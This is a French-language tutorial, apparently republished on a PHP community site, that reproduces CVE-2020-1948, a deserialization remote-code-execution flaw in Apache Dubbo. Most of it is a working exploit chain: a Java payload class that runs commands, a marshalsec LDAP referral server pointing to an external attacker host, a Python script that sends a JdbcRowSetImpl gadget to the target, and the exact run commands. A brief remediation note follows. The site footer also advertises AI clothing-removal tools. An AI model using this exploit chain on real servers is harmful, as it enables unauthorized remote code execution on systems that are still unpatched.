Table des matières
Introduction
Vue d'ensemble
Versions concernées
Configuration de l'environnement
Récurrence de la vulnérabilité
Correction de bug
Maison Opération et maintenance Sécurité Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo

Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo

May 17, 2023 pm 04:01 PM
dubbo

Introduction

Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Le système comporte trois fonctions principales, notamment l'invocation de méthodes d'interface à distance, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services.

Vue d'ensemble

Le 23 juin 2020, Apache Dubbo a officiellement publié un avis de risque pour l'exécution de code à distance d'Apache Dubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. Apache Dubbo est un framework Java RPC open source léger et hautes performances qui offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Le fournisseur Apache Dubbo présente une vulnérabilité de désérialisation. Un attaquant peut envoyer des noms de services ou des noms de méthodes non reconnus et certaines charges utiles de paramètres malveillants via des requêtes RPC. Lorsque les paramètres malveillants sont désérialisés, cela peut provoquer l'exécution de code à distance.

Versions concernées

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officiellement plus maintenu)

Configuration de l'environnement

Les versions jdk de l'environnement d'exécution et de l'environnement d'expérience de compilation sont toutes deux 8u121 , Démarrez l'environnement de test

java -jar dubbo.jar
Copier après la connexion


Après le démarrage, il écoutera le port 12345

Récurrence de la vulnérabilité

Empreinte digitale du service :


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
Copier après la connexion

Construisez le poc Nous exécutons ici une commande ping pour vérifier si la commande. peut être exécuté et créer un nouveau calc. java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
Copier après la connexion


Compile poc

javac calc.java
Copier après la connexion


Placez le poc compilé (calc.class) dans le répertoire du site Web pour vous assurer que l'hôte vulnérable peut y accéder. Utilisez le projet marshalsec pour démarrer un service proxy ldap et téléchargez marshalsec :

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Copier après la connexion


Démarrez le service proxy LDAP Exécutez cette commande et le service ldap écoutera le port 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Copier après la connexion


Exécutez le test. script. L'environnement python utilisé dans le test ici est 3.8.0. Installez d'abord le package de dépendances

python3 -m pip install dubbo-py
Copier après la connexion


Contenu du script (Dubbo.py) :

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
Copier après la connexion


Exécutez le script

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Copier après la connexion


怎么进行Apache Dubbo反序列化漏洞的分析. vue dnslog, réception réussie de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Le service ldap peut également voir le transfert de la demande怎么进行Apache Dubbo反序列化漏洞的分析

Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
Copier après la connexion

Correction de bug

Mise à niveau vers la version 2.7.7 et effectuer la vérification des paramètres selon la méthode du lien suivant

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Protocole de remplacement et méthode de désérialisation.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
1 Il y a quelques mois By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
1 Il y a quelques mois By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
4 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Tutoriel pratique de développement SpringBoot+Dubbo+Nacos Tutoriel pratique de développement SpringBoot+Dubbo+Nacos Aug 15, 2023 pm 04:49 PM

Cet article écrira un exemple détaillé pour parler du développement réel de dubbo+nacos+Spring Boot. Cet article ne couvrira pas trop de connaissances théoriques, mais écrira l'exemple le plus simple pour illustrer comment dubbo peut être intégré à nacos pour créer rapidement un environnement de développement.

Analyse des principes et des exemples du cadre de services distribués basé sur Java Dubbo Analyse des principes et des exemples du cadre de services distribués basé sur Java Dubbo Apr 24, 2023 pm 08:13 PM

Préface Avant de présenter Dubbo, comprenons d'abord les concepts de base : Dubbo est un framework RPC. RPC est un appel de procédure distante (appel de procédure distante). Il est utilisé dans l'architecture d'application unique et l'architecture d'application verticale avant l'architecture distribuée. . Ce sont tous des appels de procédure locale. Il permet à un programme d'appeler une procédure ou une fonction dans un autre espace d'adressage (généralement une autre machine partagée sur un réseau) sans que le programmeur ait à coder explicitement les détails de l'appel à distance. Les appels à distance entre applications d'architecture distribuée nécessitent que le framework RPC rende les appels à distance aussi simples que les appels locaux. Le framework Dubbo possède le composant suivant Consumer, qui appelle le service distant

Pourquoi Dubbo est-il réécrit en Go ? Pourquoi Dubbo est-il réécrit en Go ? Apr 10, 2023 pm 12:51 PM

[[443126]] Permettez-moi de commencer par quelques mots. Je réfléchis souvent à de nombreuses questions techniques du type « pourquoi » lorsque je marche. Parfois, je réfléchis longuement à une question, et ce n'est pas fini tant que je n'arrive pas à convaincre. moi-même de chaque point de la question. Je souhaite donc enregistrer ces réflexions et rédiger un article qui pourra être utilisé comme une nouvelle série. Vous ne pourrez peut-être pas voir le code dans ces articles, mais vous pourrez avoir un aperçu de certains problèmes qui passent facilement inaperçus, ainsi que du « pourquoi » plus profond du problème. Aujourd'hui, nous vous proposons le premier article, pourquoi Dubbo devrait-il être réécrit en Go Dubbo, né à Alibaba et open source en 2011, a traversé 10 ans. En 2019, il a été réécrit en Go et open source. Deux ans plus tard, il est passé de la version originale V1.0.0 à la version V3.0.0.

Analyse du code source Dubbo : guide du débutant Analyse du code source Dubbo : guide du débutant Aug 23, 2023 pm 02:44 PM

Si vous maîtrisez déjà Dubbo, cet article ne vous convient pas, mais si vous souhaitez comprendre Dubbo et apprendre Dubbo, il vous convient très bien.

Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo May 17, 2023 pm 04:01 PM

Introduction Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Il offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Présentation Le 23 juin 2020, ApacheDubbo a officiellement publié un avis de risque concernant l'exécution de code à distance ApacheDubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. ApacheDubbo est un framework JavaRPC open source léger et hautes performances. Il offre trois fonctionnalités principales : à distance orientée interface.

Excellente explication : Dubbo prend-il déjà en charge le langage Go ? Excellente explication : Dubbo prend-il déjà en charge le langage Go ? Mar 25, 2024 am 09:42 AM

Chers lecteurs, nous vous proposons aujourd’hui un article sur le langage Go de Dubbo. En tant qu'excellent framework de services distribués, Dubbo a été largement utilisé et pris en charge dans le langage Java. Avec le développement rapide du langage Go ces dernières années, de nombreux développeurs se sont vivement intéressés à savoir si Dubbo prend déjà en charge le langage Go. Cet article détaillera la prise en charge par Dubbo du langage Go, les méthodes d'implémentation spécifiques et des exemples de code. J'espère que cela pourra vous aider.

Quelles sont les différences entre les trois mécanismes SPI de Java Spring Dubbo Quelles sont les différences entre les trois mécanismes SPI de Java Spring Dubbo May 16, 2023 am 08:34 AM

A quoi sert SPI ? Par exemple, nous avons maintenant conçu un nouveau framework de journalisation : "super-logger". Par défaut, les fichiers XML sont utilisés comme fichiers de configuration de notre journal, et une interface pour l'analyse des fichiers de configuration est conçue : packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Ensuite, il existe une implémentation XML par défaut : packagecom .github .kongwu.spisamples;publiccl

Explication détaillée de l'application de Redis dans Dubbo Explication détaillée de l'application de Redis dans Dubbo Jun 20, 2023 am 10:09 AM

Avec le développement continu d’Internet, l’architecture distribuée est devenue l’un des standards du développement d’applications modernes. Pour ce type d’architecture, gérer efficacement les transactions distribuées devient une compétence nécessaire. En tant que base de données de cache basée sur la mémoire, Redis est largement utilisé dans les applications distribuées. Dans les applications distribuées, Dubbo est utilisé comme cadre de service et Redis est utilisé comme base de données de cache pour fournir une prise en charge des données, ce qui peut fournir une lecture et une écriture rapides des données tout en garantissant des performances de service élevées. Cet article présentera en détail l'utilisation de Redis dans Du

See all articles